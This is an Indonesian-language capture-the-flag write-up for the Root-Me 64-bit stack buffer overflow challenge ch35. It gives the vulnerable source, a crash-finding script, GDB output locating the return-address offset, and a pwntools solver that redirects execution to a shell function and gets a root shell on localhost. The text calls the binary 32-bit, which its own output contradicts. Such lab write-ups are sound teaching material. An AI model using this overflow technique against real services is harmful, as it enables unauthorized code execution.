[REDACTED]
Masalah
Diberikan berkas ch35
beserta source code ch35.c
yang dijalankan sebagai layanan pada nc localhost 31337
.
Penyelesaian
Persiapan
Compile source code ch35.c
menjadi binary ch35
dan jalankan berkas ch35
sebagai layanan dengan perintah ini.
$ gcc -o ch35 ch35.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack
$ socat tcp-l:31337,reuseaddr,fork EXEC:./ch35
Pengumpulan Informasi
Periksa jenis binary menggunakan file
dan keamanan binary dengan checksec
serta jalankan secara normal terlebih dahulu
$ file ch35
ch35: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=26affd845beb2ab695c4914898d1552315050d8a, not stripped
$ checksec ch35
[*] '/.../ch35'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./ch35
dummy
Hello dummy
Arsitektur yang digunakan adalah Linux 32 bit dan menggunakan proteksi NX dan RELRO. Adapun alur program meminta input dan mencetak pesan. Jika melihat source code ada fungsi callMeMaybe
yang dapat menyebabkan Shell bisa dieksekusi.
Isi source code ch35.c
.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void callMeMaybe(){
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
int main(int argc, char **argv){
char buffer[256];
int len, i;
scanf("%s", buffer);
len = strlen(buffer);
printf("Hello %s\n", buffer);
return 0;
}
Identifikasi Kelemahan
Ada fungsi scanf
yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault
. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.
find_segfault_by_input.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Luaran.
~ skipped ~
280
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
SEGMENTATION FAULT on 280 BUFFER
Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault
sebesar 280 bytes.
Eksploitasi
Buka GDB, dan periksa stack yang ada dalam binary.
$ perl -e 'printf "A"x280' > /tmp/delete.me
$ gdb -q ch35
gdb-peda$ r < /tmp/delete.me
Luaran.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffffeeb
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x1
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe1f0 --> 0x1
RIP: 0x7ffff7a2d800 (<__libc_start_main+192>: add al,BYTE PTR [rax])
R8 : 0x0
R9 : 0x115
R10: 0x10e
R11: 0x246
R12: 0x4005a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe2c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x7ffff7a2d800 <__libc_start_main+192>: add al,BYTE PTR [rax]
0x7ffff7a2d802 <__libc_start_main+194>: add BYTE PTR [rax-0x77],cl
0x7ffff7a2d805 <__libc_start_main+197>: rex.R and al,0x70
0x7ffff7a2d808 <__libc_start_main+200>: lea rax,[rsp+0x20]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1f0 --> 0x1
0008| 0x7fffffffe1f8 --> 0x7fffffffe2c8 --> 0x7fffffffe594 ("/home/dummy/Private/progress/root-me/pwn/elf-x64-stack-buffer-overflow-basic/ch35")
0016| 0x7fffffffe200 --> 0x1f7ffcca0
0024| 0x7fffffffe208 --> 0x4006c6 (<main>: push rbp)
0032| 0x7fffffffe210 --> 0x0
0040| 0x7fffffffe218 --> 0x73a363cf13a78be2
0048| 0x7fffffffe220 --> 0x4005a0 (<_start>: xor ebp,ebp)
0056| 0x7fffffffe228 --> 0x7fffffffe2c0 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 6 byte sehingga menjadi 286 byte dan gunakan pattern create
untuk mendapatan posisi register RIP.
gdb-peda$ pattern create 286 delete.me
gdb-peda$ r < delete.me
Luaran.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffffeeb
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x1
RDI: 0x1
RBP: 0x3425416525414925 ('%IA%eA%4')
RSP: 0x7fffffffe1f0 --> 0x1
RIP: 0x6625414a2541 ('A%JA%f')
R8 : 0x0
R9 : 0x115
R10: 0x10e
R11: 0x246
R12: 0x4005a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe2c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6625414a2541
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1f0 --> 0x1
0008| 0x7fffffffe1f8 --> 0x7fffffffe2c8 --> 0x7fffffffe594 ("/home/dummy/Private/progress/root-me/pwn/elf-x64-stack-buffer-overflow-basic/ch35")
0016| 0x7fffffffe200 --> 0x1f7ffcca0
0024| 0x7fffffffe208 --> 0x4006c6 (<main>: push rbp)
0032| 0x7fffffffe210 --> 0x0
0040| 0x7fffffffe218 --> 0xb93cc38ceb862a34
0048| 0x7fffffffe220 --> 0x4005a0 (<_start>: xor ebp,ebp)
0056| 0x7fffffffe228 --> 0x7fffffffe2c0 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00006625414a2541 in ?? ()
Ternyata register RIP sudah berhasil ditimpa dengan buffer A%JA%f
, selanjutnya mencari indeks register RIP pada buffer delete.me
.
echo `python -c 'print open("delete.me").read().rstrip().index("A%JA%f")'`
Luaran.
280
Dengan demikian fungsi callMeMaybe
bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi callMeMaybe
dapat diketahui dengan perintah dibawah ini.
$ nm ch35 | grep callMeMaybe
0000000000400696 T callMeMaybe
Ini dia script solver.py
penyelesaian akhir.
from pwn import *
p = 'A'*280
p += p64(0x0000000000400696)
h = remote('localhost', 31337)
h.sendline(p)
h.interactive()
Luaran.
[+] Opening connection to localhost on port 31337: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root